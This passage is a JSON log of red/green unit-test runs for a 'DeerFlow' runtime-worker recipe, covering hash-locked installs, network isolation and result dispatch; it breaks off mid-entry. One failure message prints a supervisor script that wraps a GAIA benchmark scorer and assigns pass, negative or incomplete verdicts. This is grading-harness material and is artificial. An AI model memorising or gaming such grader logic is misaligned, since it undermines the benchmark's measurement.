tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling -v", + "chunk_id": "721d81", + "wall_time_seconds": 0.159756963, + "exit_code": 0, + "original_token_count": 203, + "output": "test_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ok\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok\ntest_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok\ntest_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ok\n\n----------------------------------------------------------------------\nRan 4 tests in 0.082s\n\nOK\n" + }, + { + "phase": "receipt-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns -v", + "chunk_id": "6835a0", + "wall_time_seconds": 0.113009107, + "exit_code": 1, + "original_token_count": 646, + "output": "test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... FAIL\ntest_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort) ... ERROR\ntest_gateway_reader_is_read_only_and_uses_only_approved_columns (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok\n\n======================================================================\nERROR: test_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 343, in test_round3_usage_correlates_entry_gateway_once_and_separates_effort\n result = receipt.gateway_observation(db, {\"start_epoch\":999, \"end_epoch\":1002,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'deerflow_usage' has no attribute 'gateway_observation'\n\n======================================================================\nFAIL: test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 327, in test_native_trace_distinguishes_skill_inventory_metadata_and_loads\n self.assertEqual(found[\"skill_reads_observed\"], [\"search-first\"])\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: Lists differ: ['search-first', 'verification-before-completion'] != ['search-first']\n\nFirst list contains 1 additional elements.\nFirst extra element 1:\n'verification-before-completion'\n\n- ['search-first', 'verification-before-completion']\n+ ['search-first']\n\n----------------------------------------------------------------------\nRan 3 tests in 0.079s\n\nFAILED (failures=1, errors=1)\n" + }, + { + "phase": "receipt-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns -v", + "chunk_id": "3b63da", + "wall_time_seconds": 0.149279305, + "exit_code": 0, + "original_token_count": 220, + "output": "test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok\ntest_native_trace_does_not_count_failed_children_as_completed (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok\ntest_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort) ... ok\ntest_gateway_reader_is_read_only_and_uses_only_approved_columns (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok\n\n----------------------------------------------------------------------\nRan 4 tests in 0.107s\n\nOK\n" + }, + { + "phase": "security-lock-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands -v", + "chunk_id": "674d6f", + "wall_time_seconds": 0.052472873, + "exit_code": 1, + "original_token_count": 1016, + "output": "test_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only) ... ERROR\ntest_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards) ... ERROR\ntest_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... FAIL\n\n======================================================================\nERROR: test_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 530, in test_round3_grader_install_is_hash_locked_and_wheel_only\n self.assertEqual(hashlib.sha256(lock.read_bytes()).hexdigest(), pins[\"grader\"][\"lock_sha256\"])\n ~~~~~~~~~~~~~~~^^\n File \"/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/pathlib/_abc.py\", line 625, in read_bytes\n with self.open(mode='rb') as f:\n ~~~~~~~~~^^^^^^^^^^^\n File \"/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/pathlib/_local.py\", line 537, in open\n return io.open(self, mode, buffering, encoding, errors, newline)\n ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/e2e/requirements.lock'\n\n======================================================================\nERROR: test_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 549, in test_round3_container_network_hardening_and_resolved_mount_guards\n self.assertTrue(compose[\"networks\"][\"default\"][\"internal\"])\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nKeyError: 'internal'\n\n======================================================================\nFAIL: test_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 112, in test_mcp_launches_preserve_the_adoption_commands\n self.assertEqual(ext[name][\"args\"], expected, name)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: Lists differ: ['${E[132 chars]d', 'true', '--open-web-dashboard', 'false', '[29 chars]lse'] != ['${E[132 chars]d', 'false', '--open-web-dashboard', 'false', [30 chars]lse']\n\nFirst differing element 8:\n'true'\n'false'\n\n ['${ECO_ROOT}/bin/serena',\n 'start-mcp-server',\n '--transport',\n 'stdio',\n '--project-from-cwd',\n '--context',\n 'codex',\n '--enable-web-dashboard',\n- 'true',\n+ 'false',\n '--open-web-dashboard',\n 'false',\n '--enable-gui-log-window',\n 'false'] : serena\n\n----------------------------------------------------------------------\nRan 3 tests in 0.023s\n\nFAILED (failures=1, errors=2)\n" + }, + { + "phase": "security-lock-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands -v", + "chunk_id": "7aca96", + "wall_time_seconds": 0.05876648, + "exit_code": 0, + "original_token_count": 159, + "output": "test_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only) ... ok\ntest_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards) ... ok\ntest_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.031s\n\nOK\n" + }, + { + "phase": "isolation-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped -v", + "chunk_id": "31c77b", + "wall_time_seconds": 0.159801626, + "exit_code": 1, + "original_token_count": 519, + "output": "test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets) ... ERROR\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... FAIL\n\n======================================================================\nERROR: test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 273, in test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets\n compose = runner.attempt_compose(settings, pins, prefix, state, run, \"aabbcc\", arm)\n ^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'deerflow_attempt' has no attribute 'attempt_compose'\n\n======================================================================\nFAIL: test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 87, in test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped\n self.assertTrue(target.is_file())\n ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^\nAssertionError: False is not true\n\n----------------------------------------------------------------------\nRan 2 tests in 0.125s\n\nFAILED (failures=1, errors=1)\n" + }, + { + "phase": "isolation-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts -v", + "chunk_id": "59f6a9", + "wall_time_seconds": 0.225740596, + "exit_code": 0, + "original_token_count": 172, + "output": "test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets) ... ok\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok\ntest_transport_runs_owned_container_and_retains_failed_attempts (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.193s\n\nOK\n" + }, + { + "phase": "inspect-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence -v", + "chunk_id": "bb5904", + "wall_time_seconds": 0.056748779, + "exit_code": 1, + "original_token_count": 816, + "output": "test_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... ERROR\ntest_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ERROR\n\n======================================================================\nERROR: test_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 557, in test_round3_inspect_launch_has_no_model_and_publishes_stable_result\n supervisor = module(\"deerflow_eval_supervisor\", RECIPE / \"e2e/evaluate.py\")\n File \"/tests/test_runtime_worker_deerflow.py\", line 34, in module\n spec.loader.exec_module(result)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/e2e/evaluate.py'\n\n======================================================================\nERROR: test_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 585, in test_round3_inspect_verdict_rejects_incomplete_evidence\n supervisor = module(\"deerflow_eval_verdict\", RECIPE / \"e2e/evaluate.py\")\n File \"/tests/test_runtime_worker_deerflow.py\", line 34, in module\n spec.loader.exec_module(result)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/e2e/evaluate.py'\n\n----------------------------------------------------------------------\nRan 2 tests in 0.001s\n\nFAILED (errors=2)\n" + }, + { + "phase": "inspect-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins -v", + "chunk_id": "c9e422", + "wall_time_seconds": 0.064305654, + "exit_code": 1, + "original_token_count": 1778, + "output": "test_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... {\"status_path\": \"/state/runs/frozen-run/status.json\", \"result_path\": \"/state/runs/frozen-run/result.json\"}\n{\"result_path\": \"/state/runs/frozen-run/result.json\", \"exit_code\": 1}\nok\ntest_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ok\ntest_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... FAIL\n\n======================================================================\nFAIL: test_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 552, in test_grader_install_and_launch_use_exact_upstream_pins\n self.assertIn(\"gaia.py@deerflow_gaia\", launch)\n ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 'gaia.py@deerflow_gaia' not found in '#!/usr/bin/env bash\\n# Inspect AI@0.3.271 providers.py:361-365; log/_log.py:798-895.\\nset -euo pipefail\\numask 077\\nrecipe_dir=\"$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" && pwd)\"\\nexport PYTHONDONTWRITEBYTECODE=1\\nexec python3 \"$recipe_dir/e2e/evaluate.py\" \"$@\"\\n\"\"\"Supervise unchanged Inspect GAIA scoring; never compute an answer score.\\n\\nInspect AI@0.3.271 model/_providers/providers.py:361-365 (none),\\n_cli/eval.py:1681-1682 (exit reports completion, not correctness),\\nlog/_log.py:798-820,848-895 (scores/metrics). Status and result are host-written.\\n\"\"\"\\nfrom __future__ import annotations\\n\\nimport argparse\\nimport json\\nimport os\\nfrom pathlib import Path\\nimport re\\nimport subprocess\\nimport sys\\n\\nsys.path.insert(0, str(Path(__file__).resolve().parents[1]))\\nfrom recipe import HERE, PREFIX, STATE, arm_settings, read, write\\n\\n\\ndef verdict(log, evidence_complete):\\n results = log.get(\"results\") or {}\\n if (log.get(\"status\") != \"success\" or not results.get(\"total_samples\")\\n or results.get(\"completed_samples\") != results[\"total_samples\"]):\\n return 3, \"incomplete\"\\n scores = [s for s in results.get(\"scores\", []) if s.get(\"name\", \"\").split(\"/\")[-1] == \"gaia_scorer\"]\\n if len(scores) != 1:\\n return 3, \"incomplete\"\\n value = scores[0].get(\"metrics\", {}).get(\"accuracy\", {}).get(\"value\")\\n if type(value) not in (int, float) or not 0 <= value <= 1:\\n return 3, \"incomplete\"\\n if value < 1:\\n return 1, \"negative\"\\n return (0, \"pass\") if evidence_complete else (3, \"incomplete\")\\n\\n\\ndef evaluate(frozen_id, run_id, arm, epochs):\\n if not re.fullmatch(r\"[A-Za-z0-9][A-Za-z0-9_-]{0,63}\", run_id) or not frozen_id or epochs < 1:\\n raise ValueError(\"provide a safe stable run ID, a frozen GAIA ID and positive epochs\")\\n selection = arm_settings(read(STATE / \"host.json\"), arm)\\n run = STATE / \"runs\" / run_id\\n run.mkdir(parents=True, mode=0o700, exist_ok=False)\\n result_path = run / \"result.json\"\\n write(run / \"status.json\", {\"status\":\"starting\", \"arm\":arm, \"result_path\":str(result_path)})\\n write(result_path, {\"arm\":arm, \"verdict\":\"incomplete\", \"exit_code\":3})\\n print(json.dumps({\"status_path\":str(run / \"status.json\"), \"result_path\":str(result_path)}), flush=True)\\n logs = run / \"inspect\"\\n logs.mkdir(mode=0o700)\\n env = dict(os.environ, PYTHONDONTWRITEBYTECODE=\"1\", DEERFLOW_RUN_ID=run_id,\\n RUNTIME_WORKER_ARM=arm, INSPECT_EVALS_CACHE_DIR=str(STATE / \"eval-cache\"))\\n command = [str(PREFIX / \"grader/bin/inspect\"), \"eval\", str(HERE / \"e2e/gaia.py\") + \"@deerflow_gaia\",\\n \"-T\", \"instance_ids=\" + frozen_id, \"--model\", \"none\", \"--max-samples\", \"1\",\\n \"--epochs\", str(epochs), \"--log-format\", \"json\", \"--log-dir\", str(logs)]\\n for name in (\"arm\", \"model\", \"base_url\"):\\n command.extend([\"--metadata\", name + \"=\" + selection[name]])\\n try:\\n with (run / \"inspect-output.log\").open(\"w\") as output:\\n completed = subprocess.run(command, env=env, stdout=output, stderr=subprocess.STDOUT, check=False)\\n paths = sorted(logs.glob(\"*.json\"))\\n log = read(paths[0]) if len(paths) == 1 else {}\\n attempts = [read(p) for p in sorted(run.glob(\"attempt-*/receipt.json\"))]\\n evidence = len(attempts) == epochs and all(\\n a[\"transport\"][\"ok\"] and a[\"gateway\"].get(\"evidence_complete\")\\n and a[\"observations\"][\"required_skills_activated\"]\\n and all(v == \"absent\" for v in a[\"cleanup\"].values()) for a in attempts)\\n code, label = verdict(log, evidence)\\n if completed.returncode and code == 0:\\n code, label = 3, \"incomplete\"\\n result = {**selection, \"exit_code\":code, \"verdict\":label,\\n \"inspect_exit_code\":completed.returncode,\\n \"inspect_log\":str(paths[0]) if len(paths) == 1 else None,\\n \"receipt_path\":str(run / \"receipt.json\")}\\n write(run / \"receipt.json\", {**selection, \"grader\":{\\n \"name\":\"inspect_evals.gaia.gaia_scorer\", \"version\":\"0.22.0\",\\n \"verdict\":label, \"accuracy\":next((s.get(\"metrics\", {}).get(\"accuracy\", {}).get(\"value\")\\n for s in (log.get(\"results\") or {}).get(\"scores\", []) if s.get(\"name\", \"\").split(\"/\")[-1] == \"gaia_scorer\"), None)},\\n \"attempts\":attempts})\\n except (OSError, ValueError, KeyError):\\n code = 2\\n result = {**selection, \"exit_code\":code, \"verdict\":\"setup-failure\"}\\n write(result_path, result)\\n write(run / \"status.json\", {\"status\":result[\"verdict\"], \"arm\":arm, \"result_path\":str(result_path), \"exit_code\":code})\\n print(json.dumps({\"result_path\":str(result_path), \"exit_code\":code}), flush=True)\\n return code\\n\\n\\ndef main():\\n parser = argparse.ArgumentParser(description=__doc__)\\n parser.add_argument(\"frozen_id\")\\n parser.add_argument(\"run_id\")\\n parser.add_argument(\"--arm\", choices=(\"control\", \"engines-on\"), default=os.environ.get(\"RUNTIME_WORKER_ARM\", \"control\"))\\n parser.add_argument(\"--epochs\", type=int, default=int(os.environ.get(\"DEERFLOW_EPOCHS\", \"1\")))\\n args = parser.parse_args()\\n os.umask(0o077)\\n try:\\n return evaluate(args.frozen_id, args.run_id, args.arm, args.epochs)\\n except (OSError, ValueError):\\n print(json.dumps({\"exit_code\":2, \"verdict\":\"setup-failure\"}))\\n return 2\\n\\n\\nif __name__ == \"__main__\":\\n raise SystemExit(main())\\n'\n\n----------------------------------------------------------------------\nRan 3 tests in 0.028s\n\nFAILED (failures=1)\n" + }, + { + "phase": "inspect-green-corrected", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins -v", + "chunk_id": "aa7e4d", + "wall_time_seconds": 0.048268152, + "exit_code": 0, + "original_token_count": 219, + "output": "test_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... {\"status_path\": \"/state/runs/frozen-run/status.json\", \"result_path\": \"/state/runs/frozen-run/result.json\"}\n{\"result_path\": \"/state/runs/frozen-run/result.json\", \"exit_code\": 1}\nok\ntest_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ok\ntest_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.026s\n\nOK\n" + }, + { + "phase": "dispatch-compression-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets -v", + "chunk_id": "3d705e", + "wall_time_seconds": 0.052958389, + "exit_code": 1, + "original_token_count": 1085, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ERROR\ntest_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence) ... ERROR\ntest_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets) ... ERROR\n\n======================================================================\nERROR: test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 594, in test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths\n dispatch = module(\"deerflow_dispatch\", RECIPE / \"dispatch.py\")\n File \"/tests/test_runtime_worker_deerflow.py\", line 34, in module\n spec.loader.exec_module(result)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/dispatch.py'\n\n======================================================================\nERROR: test_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 646, in test_round3_dispatch_reports_negative_setup_and_missing_evidence\n dispatch = module(\"deerflow_dispatch_failures\", RECIPE / \"dispatch.py\")\n File \"/tests/test_runtime_worker_deerflow.py\", line 34, in module\n spec.loader.exec_module(result)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\n File \"\", line 1019, in exec_module\n File \"\", line 1156, in get_code\n File \"\", line 1214, in get_data\nFileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/deerflow/dispatch.py'\n\n======================================================================\nERROR: test_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 667, in test_round3_compression_deltas_are_separate_and_reject_counter_resets\n delta = receipt.compression_delta(before, after)\n ^^^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'deerflow_compression' has no attribute 'compression_delta'\n\n----------------------------------------------------------------------\nRan 3 tests in 0.006s\n\nFAILED (errors=3)\n" + }, + { + "phase": "dispatch-compression-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets -v", + "chunk_id": "d3d310", + "wall_time_seconds": 0.072376121, + "exit_code": 0, + "original_token_count": 179, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ok\ntest_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence) ... ok\ntest_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.034s\n\nOK\n" + }, + { + "phase": "intermediate-suite", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow -v", + "chunk_id": "9e5b63", + "wall_time_seconds": 0.54459489, + 